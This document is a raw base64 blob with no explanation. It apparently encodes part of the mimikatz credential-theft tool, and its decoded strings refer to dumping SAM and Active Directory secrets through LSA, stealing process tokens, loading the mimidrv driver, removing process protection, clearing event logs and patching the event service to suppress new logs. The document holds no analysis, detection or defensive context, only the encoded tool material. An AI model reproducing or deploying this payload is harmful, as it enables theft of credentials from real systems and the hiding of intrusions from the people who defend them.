Z0J2QUNBQVF3Qk9BRWNBSVFBS0FBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFHVUFlQUJ3QUc4QWNnQjBBRklBWVFCM0FFc0FaUUI1QUZRQWJ3QkdBR2tBYkFCbEFDQUFPd0FnQUVNQWNnQjVBSEFBZEFCSkFHMEFjQUJ2QUhJQWRBQkxBR1VBZVFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUVNQVFRQlFBRWtBVUFCU0FFa0FWZ0JCQUZRQVJRQkNBRXdBVHdCQ0FBQUFUd0JMQUFBQUFBQkxBRThBQUFBQUFBa0FVQUJ5QUdrQWRnQmhBSFFBWlFBZ0FHVUFlQUJ3QUc4QWNnQjBBQ0FBT2dBZ0FDVUFjd0FnQUMwQUlBQUFBQ2NBSlFCekFDY0FDZ0FBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JsQUhnQWNBQnZBSElBZEFCTEFHVUFlUUJVQUc4QVJnQnBBR3dBWlFBZ0FEc0FJQUJGQUhnQWNBQnZBSElBZEFBZ0FDOEFJQUJEQUhJQVpRQmhBSFFBWlFCR0FHa0FiQUJsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JsQUhnQWNBQnZBSElBZEFCTEFHVUFlUUJVQUc4QVJnQnBBR3dBWlFBZ0FEc0FJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWndCbEFHNEFaUUJ5QUdFQWRBQmxBRVlBYVFCc0FHVUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCa0FHVUFjZ0FBQUFrQVVBQjFBR0lBYkFCcEFHTUFJQUJsQUhnQWNBQnZBSElBZEFBZ0FDQUFPZ0FnQUNVQWN3QWdBQzBBSUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR1VBZUFCd0FHOEFjZ0IwQUVNQVpRQnlBSFFBSUFBN0FDQUFRd0J5QUdVQVlRQjBBR1VBUmdCcEFHd0FaUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCbEFIZ0FjQUJ2QUhJQWRBQkRBR1VBY2dCMEFDQUFPd0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCbkFHVUFiZ0JsQUhJQVlRQjBBR1VBUmdCcEFHd0FaUUJPQUdFQWJRQmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFjQUJtQUhnQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWlFCNEFIQUFid0J5QUhRQVF3QmxBSElBZEFBZ0FEc0FJQUJGQUhnQWNBQnZBSElBZEFBZ0FDOEFJQUJEQUhJQVpRQmhBSFFBWlFCR0FHa0FiQUJsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCbEFIZ0FjQUJ2QUhJQWRBQlFBR1lBZUFBZ0FEc0FJQUJRQUVZQVdBQkZBSGdBY0FCdkFISUFkQUJEQUdVQWNnQjBBRk1BZEFCdkFISUFaUUJGQUhnQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFFUUFaUUJ5QUVFQWJnQmtBRXNBWlFCNUFGUUFid0JRQUdZQWVBQWdBRHNBSUFCREFISUFlUUJ3QUhRQVNRQnRBSEFBYndCeUFIUUFTd0JsQUhrQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFSQUJsQUhJQVFRQnVBR1FBU3dCbEFIa0FWQUJ2QUZBQVpnQjRBQ0FBT3dBZ0FGVUFiZ0JoQUdJQWJBQmxBQ0FBZEFCdkFDQUFaQUJsQUd3QVpRQjBBR1VBSUFCMEFHVUFiUUJ3QUNBQWF3QmxBSGtBY3dCbEFIUUFJQUFsQUhNQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFSQUJsQUhJQVFRQnVBR1FBU3dCbEFIa0FWQUJ2QUZBQVpnQjRBQ0FBT3dBZ0FFTUFjZ0I1QUhBQWRBQkJBR01BY1FCMUFHa0FjZ0JsQUVNQWJ3QnVBSFFBWlFCNEFIUUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFSQUJsQUhJQVFRQnVBR1FBU3dCbEFIa0FWQUJ2QUZBQVpnQjRBQ0FBT3dBZ0FFTUFaUUJ5QUhRQVFRQmtBR1FBUlFCdUFHTUFid0JrQUdVQVpBQkRBR1VBY2dCMEFHa0FaZ0JwQUdNQVlRQjBBR1VBVkFCdkFGTUFkQUJ2QUhJQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBSlFCekFGOEFKUUJ6QUY4QUpRQjFBRjhBSlFCekFDNEFKUUJ6QUFBQUFBQk9BRlFBVEFCTkFEb0FJQUFBQUFBQVJBQkRBRU1BTVFBNkFDQUFBQUFBQUVRQVF3QkRBRElBT2dBZ0FBQUFBQUJNQUUwQUlBQWdBRG9BSUFBQUFBQUFUUUJFQURVQUlBQTZBQ0FBQUFBQUFGTUFTQUJCQURFQU9nQWdBQUFBQUFCVEFFZ0FRUUF5QURvQUlBQUFBQUFBY2dCekFHRUFaUUJ1QUdnQUxnQmtBR3dBYkFBQUFBQUFUQUJ2QUdNQVlRQnNBQ0FBUXdCeUFIa0FjQUIwQUc4QVFRQlFBRWtBSUFCd0FHRUFkQUJqQUdnQVpRQmtBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWNBQmZBR01BWVFCd0FHa0FJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J3QUdFQWRBQmpBR2dBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBSEFBWHdCakFHRUFjQUJwQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNBQnlBRzhBWXdCbEFITUFjd0JmQUdjQVpRQjBBRllBWlFCeUFIa0FRZ0JoQUhNQWFRQmpBRTBBYndCa0FIVUFiQUJsQUVrQWJnQm1BRzhBY2dCdEFHRUFkQUJwQUc4QWJnQnpBRVlBYndCeUFFNEFZUUJ0QUdVQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBRzRBWXdCeUFIa0FjQUIwQUM0QVpBQnNBR3dBQUFBQUFHNEFZd0J5QUhrQWNBQjBBSEFBY2dCdkFIWUFMZ0JrQUd3QWJBQUFBQUFBU3dCbEFIa0FTUUJ6QUc4QUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCd0FGOEFZd0J1QUdjQUlBQTdBQ0FBVGdCdkFDQUFRd0JPQUVjQUNnQUFBR1FBY2dCdkFIQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGc0FaUUI0QUhBQVpRQnlBR2tBYlFCbEFHNEFkQUJoQUd3QVhRQWdBSEFBWVFCMEFHTUFhQUFnQUVVQWRnQmxBRzRBZEFCekFDQUFjd0JsQUhJQWRnQnBBR01BWlFBZ0FIUUFid0FnQUdFQWRnQnZBR2tBWkFBZ0FHNEFaUUIzQUNBQVpRQjJBR1VBYmdCMEFITUFBQUJqQUd3QVpRQmhBSElBQUFBQUFBQUFRd0JzQUdVQVlRQnlBQ0FBWVFCdUFDQUFaUUIyQUdVQWJnQjBBQ0FBYkFCdkFHY0FBQUFBQUdVQWRnQmxBRzRBZEFBQUFBQUFBQUJGQUhZQVpRQnVBSFFBSUFCdEFHOEFaQUIxQUd3QVpRQUFBQUFBQUFBQUFHVUFkZ0JsQUc0QWRBQnNBRzhBWndBdUFHUUFiQUJzQUFBQUFBQUFBQUFBZHdCbEFIWUFkQUJ6QUhZQVl3QXVBR1FBYkFCc0FBQUFSUUIyQUdVQWJnQjBBRXdBYndCbkFBQUFBQUFBQUFBQVV3QmxBR01BZFFCeUFHa0FkQUI1QUFBQUFBQUFBQUFBYkFCdkFHY0FBQUJWQUhNQWFRQnVBR2NBSUFBaUFDVUFjd0FpQUNBQVpRQjJBR1VBYmdCMEFDQUFiQUJ2QUdjQUlBQTZBQW9BQUFBdEFDQUFKUUIxQUNBQVpRQjJBR1VBYmdCMEFDZ0Fjd0FwQUFvQUFBQUFBQzBBSUFCREFHd0FaUUJoQUhJQVpRQmtBQ0FBSVFBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdVQWRnQmxBRzRBZEFCZkFHTUFiQUJsQUdFQWNnQWdBRHNBSUFCREFHd0FaUUJoQUhJQVJRQjJBR1VBYmdCMEFFd0Fid0JuQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmxBSFlBWlFCdUFIUUFYd0JqQUd3QVpRQmhBSElBSUFBN0FDQUFUd0J3QUdVQWJnQkZBSFlBWlFCdUFIUUFUQUJ2QUdjQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQ3NBQUFBQUFBQUFBQUFBQUVrQWJnQnpBSFFBWVFCc0FHd0FJQUJoQUc0QVpBQXZBRzhBY2dBZ0FITUFkQUJoQUhJQWRBQWdBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQUtBQnRBR2tBYlFCcEFHUUFjZ0IyQUNrQUFBQUFBQzBBQUFBQUFBQUFBQUFBQUFBQUFBQlNBR1VBYlFCdkFIWUFaUUFnQUcwQWFRQnRBR2tBYXdCaEFIUUFlZ0FnQUdRQWNnQnBBSFlBWlFCeUFDQUFLQUJ0QUdrQWJRQnBBR1FBY2dCMkFDa0FBQUFBQUFBQUFBQndBR2tBYmdCbkFBQUFBQUFBQUFBQVVBQnBBRzRBWndBZ0FIUUFhQUJsQUNBQVpBQnlBR2tBZGdCbEFISUFBQUJpQUhNQWJ3QmtBQUFBQUFBQUFBQUFRZ0JUQUU4QVJBQWdBQ0VBQUFBQUFIQUFjZ0J2QUdNQVpRQnpBSE1BQUFCTUFHa0Fjd0IwQUNBQWNBQnlBRzhBWXdCbEFITUFjd0FBQUFBQUFBQUFBSEFBY2dCdkFHTUFaUUJ6QUhNQVVBQnlBRzhBZEFCbEFHTUFkQUFBQUFBQVVBQnlBRzhBZEFCbEFHTUFkQUFnQUhBQWNnQnZBR01BWlFCekFITUFBQUJ3QUhJQWJ3QmpBR1VBY3dCekFGUUFid0JyQUdVQWJnQUFBQUFBQUFBQUFFUUFkUUJ3QUd3QWFRQmpBR0VBZEFCbEFDQUFjQUJ5QUc4QVl3QmxBSE1BY3dBZ0FIUUFid0JyQUdVQWJnQUFBSEFBY2dCdkFHTUFaUUJ6QUhNQVVBQnlBR2tBZGdCcEFHd0FaUUJuQUdVQUFBQUFBQUFBQUFCVEFHVUFkQUFnQUdFQWJBQnNBQ0FBY0FCeUFHa0FkZ0JwQUd3QVpRQm5BR1VBSUFCdkFHNEFJQUJ3QUhJQWJ3QmpBR1VBY3dCekFBQUFBQUFBQUFBQWJRQnZBR1FBZFFCc0FHVUFjd0FBQUV3QWFRQnpBSFFBSUFCdEFHOEFaQUIxQUd3QVpRQnpBQUFBQUFBQUFBQUFjd0J6QUdRQWRBQUFBQUFBQUFBQUFFd0FhUUJ6QUhRQUlBQlRBRk1BUkFCVUFBQUFBQUFBQUc0QWJ3QjBBR2tBWmdCUUFISUFid0JqQUdVQWN3QnpBQUFBQUFBQUFBQUFUQUJwQUhNQWRBQWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUlBQnVBRzhBZEFCcEFHWUFlUUFnQUdNQVlRQnNBR3dBWWdCaEFHTUFhd0J6QUFBQUFBQUFBRzRBYndCMEFHa0FaZ0JVQUdnQWNnQmxBR0VBWkFBQUFFd0FhUUJ6QUhRQUlBQjBBR2dBY2dCbEFHRUFaQUFnQUc0QWJ3QjBBR2tBWmdCNUFDQUFZd0JoQUd3QWJBQmlBR0VBWXdCckFITUFBQUFBQUFBQUFBQnVBRzhBZEFCcEFHWUFTUUJ0QUdFQVp3QmxBQUFBQUFCTUFHa0Fjd0IwQUNBQWFRQnRBR0VBWndCbEFDQUFiZ0J2QUhRQWFRQm1BSGtBSUFCakFHRUFiQUJzQUdJQVlRQmpBR3NBY3dBQUFHNEFid0IwQUdrQVpnQlNBR1VBWndBQUFBQUFBQUFBQUV3QWFRQnpBSFFBSUFCeUFHVUFad0JwQUhNQWRBQnlBSGtBSUFCdUFHOEFkQUJwQUdZQWVRQWdBR01BWVFCc0FHd0FZZ0JoQUdNQWF3QnpBQUFBQUFCdUFHOEFkQUJwQUdZQVR3QmlBR29BWlFCakFIUUFBQUJNQUdrQWN3QjBBQ0FBYndCaUFHb0FaUUJqQUhRQUlBQnVBRzhBZEFCcEFHWUFlUUFnQUdNQVlRQnNBR3dBWWdCaEFHTUFhd0J6QUFBQUFBQUFBQUFBYmdCdkFIUUFhUUJtQUZBQWNnQnZBR01BWlFCekFITUFVZ0JsQUcwQWJ3QjJBR1VBQUFBQUFGSUFaUUJ0QUc4QWRnQmxBQ0FBY0FCeUFHOEFZd0JsQUhNQWN3QWdBRzRBYndCMEFHa0FaZ0I1QUNBQVl3QmhBR3dBYkFCaUFHRUFZd0JyQUFBQUFBQnVBRzhBZEFCcEFHWUFUd0JpQUdvQVpRQmpBSFFBVWdCbEFHMEFid0IyQUdVQUFBQUFBQUFBVWdCbEFHMEFid0IyQUdVQUlBQnZBR0lBYWdCbEFHTUFkQUFnQUc0QWJ3QjBBR2tBWmdCNUFDQUFZd0JoQUd3QWJBQmlBR0VBWXdCckFBQUFBQUFBQUdZQWFRQnNBSFFBWlFCeUFITUFBQUJNQUdrQWN3QjBBQ0FBUmdCVEFDQUFaZ0JwQUd3QWRBQmxBSElBY3dBQUFHMEFhUUJ1QUdrQVpnQnBBR3dBZEFCbEFISUFjd0FBQUV3QWFRQnpBSFFBSUFCdEFHa0FiZ0JwQUdZQWFRQnNBSFFBWlFCeUFITUFBQUFBQUFBQUFBQnRBR2tBYlFCcEFHUUFjZ0IyQUM0QWN3QjVBSE1BQUFCdEFHa0FiUUJwQUdRQWNnQjJBQUFBQUFBQUFBQUFBQUJiQUNzQVhRQWdBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQVlRQnNBSElBWlFCaEFHUUFlUUFnQUhJQVpRQm5BR2tBY3dCMEFHVUFjZ0JsQUdRQUNnQUFBRnNBS2dCZEFDQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFDQUFaQUJ5QUdrQWRnQmxBSElBSUFCdUFHOEFkQUFnQUhBQWNnQmxBSE1BWlFCdUFIUUFDZ0FBQUFBQUFBQUFBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQUtBQnRBR2tBYlFCcEFHUUFjZ0IyQUNrQUFBQUFBQUFBV3dBckFGMEFJQUJ0QUdrQWJRQnBBR3NBWVFCMEFIb0FJQUJrQUhJQWFRQjJBR1VBY2dBZ0FITUFkUUJqQUdNQVpRQnpBSE1BWmdCMUFHd0FiQUI1QUNBQWNnQmxBR2NBYVFCekFIUUFaUUJ5QUdVQVpBQUtBQUFBQUFBQUFBQUFXd0FyQUYwQUlBQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUlBQmtBSElBYVFCMkFHVUFjZ0FnQUVFQVF3Qk1BQ0FBZEFCdkFDQUFaUUIyQUdVQWNnQjVBRzhBYmdCbEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUc0QVpRQnNBRjhBWVFCa0FHUUFYd0J0QUdrQWJRQnBBR1FBY2dCMkFDQUFPd0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQWJnQmxBR3dBWHdCaEFHUUFaQUJYQUc4QWNnQnNBR1FBVkFCdkFFMEFhUUJ0QUdrQWF3QmhBSFFBZWdBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0J1QUdVQWJBQmZBR0VBWkFCa0FGOEFiUUJwQUcwQWFRQmtBSElBZGdBZ0FEc0FJQUJEQUhJQVpRQmhBSFFBWlFCVEFHVUFjZ0IyQUdrQVl3QmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUc0QVpRQnNBRjhBWVFCa0FHUUFYd0J0QUdrQWJRQnBBR1FBY2dCMkFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBR2tBY3dCR0FHa0FiQUJsQUVVQWVBQnBBSE1BZEFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUc0QVpRQnNBRjhBWVFCa0FHUUFYd0J0QUdrQWJRQnBBR1FBY2dCMkFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBR2NBWlFCMEFFRUFZZ0J6QUc4QWJBQjFBSFFBWlFCUUFHRUFkQUJvQUU4QVpnQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0J1QUdVQWJBQmZBR0VBWkFCa0FGOEFiUUJwQUcwQWFRQmtBSElBZGdBZ0FEc0FJQUJQQUhBQVpRQnVBRk1BWlFCeUFIWUFhUUJqQUdVQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBRnNBS3dCZEFDQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFDQUFaQUJ5QUdrQWRnQmxBSElBSUFCekFIUUFZUUJ5QUhRQVpRQmtBQW9BQUFBQUFBQUFBQUJiQUNvQVhRQWdBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQVlRQnNBSElBWlFCaEFHUUFlUUFnQUhNQWRBQmhBSElBZEFCbEFHUUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQWJnQmxBR3dBWHdCaEFHUUFaQUJmQUcwQWFRQnRBR2tBWkFCeUFIWUFJQUE3QUNBQVV3QjBBR0VBY2dCMEFGTUFaUUJ5QUhZQWFRQmpBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQnVBR1VBYkFCZkFHRUFaQUJrQUY4QWJRQnBBRzBBYVFCa0FISUFkZ0FnQURzQUlBQlBBSEFBWlFCdUFGTUFRd0JOQUdFQWJnQmhBR2NBWlFCeUFDZ0FZd0J5QUdVQVlRQjBBR1VBS1FBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUZzQUt3QmRBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBWkFCeUFHa0FkZ0JsQUhJQUlBQnpBSFFBYndCd0FIQUFaUUJrQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZzQUtnQmRBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBWkFCeUFHa0FkZ0JsQUhJQUlBQnVBRzhBZEFBZ0FISUFkUUJ1QUc0QWFRQnVBR2NBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQnVBR1VBYkFCZkFISUFaUUJ0QUc4QWRnQmxBRjhBYlFCcEFHMEFhUUJrQUhJQWRnQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSE1BWlFCeUFIWUFhUUJqQUdVQVh3QnpBSFFBYndCd0FDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUZzQUt3QmRBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBWkFCeUFHa0FkZ0JsQUhJQUlBQnlBR1VBYlFCdkFIWUFaUUJrQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QnlBR1VBYlFCdkFIWUFaUUJmQUcwQWFRQnRBR2tBWkFCeUFIWUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J6QUdVQWNnQjJBR2tBWXdCbEFGOEFjZ0JsQUcwQWJ3QjJBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUhJQVpRQnRBRzhBZGdCbEFBQUFBQUJRQUhJQWJ3QmpBR1VBY3dCekFDQUFPZ0FnQUNVQWN3QUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBYmdCbEFHd0FYd0J3QUhJQWJ3QmpBR1VBY3dCekFGQUFjZ0J2QUhRQVpRQmpBSFFBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FISUFid0JqQUdVQWN3QnpBRjhBWndCbEFIUUFVQUJ5QUc4QVl3QmxBSE1BY3dCSkFHUUFSZ0J2QUhJQVRnQmhBRzBBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUhBQWFRQmtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQnVBR1VBYkFCZkFIQUFjZ0J2QUdNQVpRQnpBSE1BVUFCeUFHOEFkQUJsQUdNQWRBQWdBRHNBSUFCQkFISUFad0IxQUcwQVpRQnVBSFFBSUFBdkFIQUFjZ0J2QUdNQVpRQnpBSE1BT2dCd0FISUFid0JuQUhJQVlRQnRBQzRBWlFCNEFHVUFJQUJ2QUhJQUlBQXZBSEFBYVFCa0FEb0FjQUJ5QUc4QVl3QmxBSE1BY3dCcEFHUUFJQUJ1QUdVQVpRQmtBR1VBWkFBS0FBQUFBQUFBQUFBQVVBQkpBRVFBSUFBbEFIVUFJQUF0QUQ0QUlBQWxBREFBTWdCNEFDOEFKUUF3QURJQWVBQWdBRnNBSlFBeEFIZ0FMUUFsQURFQWVBQXRBQ1VBTVFCNEFGMEFDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBRzRBWlFCc0FGOEFjQUJ5QUc4QVl3QmxBSE1BY3dCUUFISUFid0IwQUdVQVl3QjBBQ0FBT3dBZ0FFNEFid0FnQUZBQVNRQkVBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHNEFaUUJzQUY4QWNBQnlBRzhBWXdCbEFITUFjd0JRQUhJQWJ3QjBBR1VBWXdCMEFDQUFPd0FnQUZBQWNnQnZBSFFBWlFCakFIUUFaUUJrQUNBQWNBQnlBRzhBWXdCbEFITUFjd0FnQUc0QWJ3QjBBQ0FBWVFCMkFHRUFhUUJzQUdFQVlnQnNBR1VBSUFCaUFHVUFaZ0J2QUhJQVpRQWdBRmNBYVFCdUFHUUFid0IzQUhNQUlBQldBR2tBY3dCMEFHRUFDZ0FBQUFBQVpnQnlBRzhBYlFBQUFBQUFkQUJ2QUFBQUFBQUFBQUFBVkFCdkFHc0FaUUJ1QUNBQVpnQnlBRzhBYlFBZ0FIQUFjZ0J2QUdNQVpRQnpBSE1BSUFBbEFIVUFJQUIwQUc4QUlBQndBSElBYndCakFHVUFjd0J6QUNBQUpRQjFBQW9BQUFBQUFBQUFBQUFnQUNvQUlBQm1BSElBYndCdEFDQUFNQUFnQUhjQWFRQnNBR3dBSUFCMEFHRUFhd0JsQUNBQVV3QlpBRk1BVkFCRkFFMEFJQUIwQUc4QWF3QmxBRzRBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBS2dBZ0FIUUFid0FnQURBQUlBQjNBR2tBYkFCc0FDQUFkQUJoQUdzQVpRQWdBR0VBYkFCc0FDQUFKd0JqQUcwQVpBQW5BQ0FBWVFCdUFHUUFJQUFuQUcwQWFRQnRBR2tBYXdCaEFIUUFlZ0FuQUNBQWNBQnlBRzhBWXdCbEFITUFjd0FLQUFBQVZBQmhBSElBWndCbEFIUUFJQUE5QUNBQU1BQjRBQ1VBY0FBS0FBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQWJnQmxBR3dBWHdCdUFHOEFkQUJwQUdZQWVRQkhBR1VBYmdCbEFISUFhUUJqQUZJQVpRQnRBRzhBZGdCbEFDQUFPd0FnQUU0QWJ3QWdBR0VBWkFCa0FISUFaUUJ6QUhNQVB3QUtBQUFBQUFCekFHRUFiUUFBQUFBQUFBQUFBQUFBUndCbEFIUUFJQUIwQUdnQVpRQWdBRk1BZVFCekFFc0FaUUI1QUNBQWRBQnZBQ0FBWkFCbEFHTUFjZ0I1QUhBQWRBQWdBRk1BUVFCTkFDQUFaUUJ1QUhRQWNnQnBBR1VBY3dBZ0FDZ0FaZ0J5QUc4QWJRQWdBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQWdBRzhBY2dBZ0FHZ0FhUUIyQUdVQWN3QXBBQUFBQUFCekFHVUFZd0J5QUdVQWRBQnpBQUFBUndCbEFIUUFJQUIwQUdnQVpRQWdBRk1BZVFCekFFc0FaUUI1QUNBQWRBQnZBQ0FBWkFCbEFHTUFjZ0I1QUhBQWRBQWdBRk1BUlFCREFGSUFSUUJVQUZNQUlBQmxBRzRBZEFCeUFHa0FaUUJ6QUNBQUtBQm1BSElBYndCdEFDQUFjZ0JsQUdjQWFRQnpBSFFBY2dCNUFDQUFid0J5QUNBQWFBQnBBSFlBWlFCekFDa0FBQUFBQUFBQUFBQUFBQUFBUndCbEFIUUFJQUIwQUdnQVpRQWdBRk1BZVFCekFFc0FaUUI1QUNBQWRBQnZBQ0FBWkFCbEFHTUFjZ0I1QUhBQWRBQWdBRTRBVEFBa0FFc0FUUUFnQUhRQWFBQmxBRzRBSUFCTkFGTUFRd0JoQUdNQWFBQmxBQ2dBZGdBeUFDa0FJQUFvQUdZQWNnQnZBRzBBSUFCeUFHVUFad0JwQUhNQWRBQnlBSGtBSUFCdkFISUFJQUJvQUdrQWRnQmxBSE1BS1FBQUFBQUFBQUJzQUhNQVlRQUFBRUVBY3dCckFDQUFUQUJUQUVFQUlBQlRBR1VBY2dCMkFHVUFjZ0FnQUhRQWJ3QWdBSElBWlFCMEFISUFhUUJsQUhZQVpRQWdBRk1BUVFCTkFDOEFRUUJFQUNBQVpRQnVBSFFBY2dCcEFHVUFjd0FnQUNnQWJnQnZBSElBYlFCaEFHd0FMQUFnQUhBQVlRQjBBR01BYUFBZ0FHOEFiZ0FnQUhRQWFBQmxBQ0FBWmdCc0FIa0FJ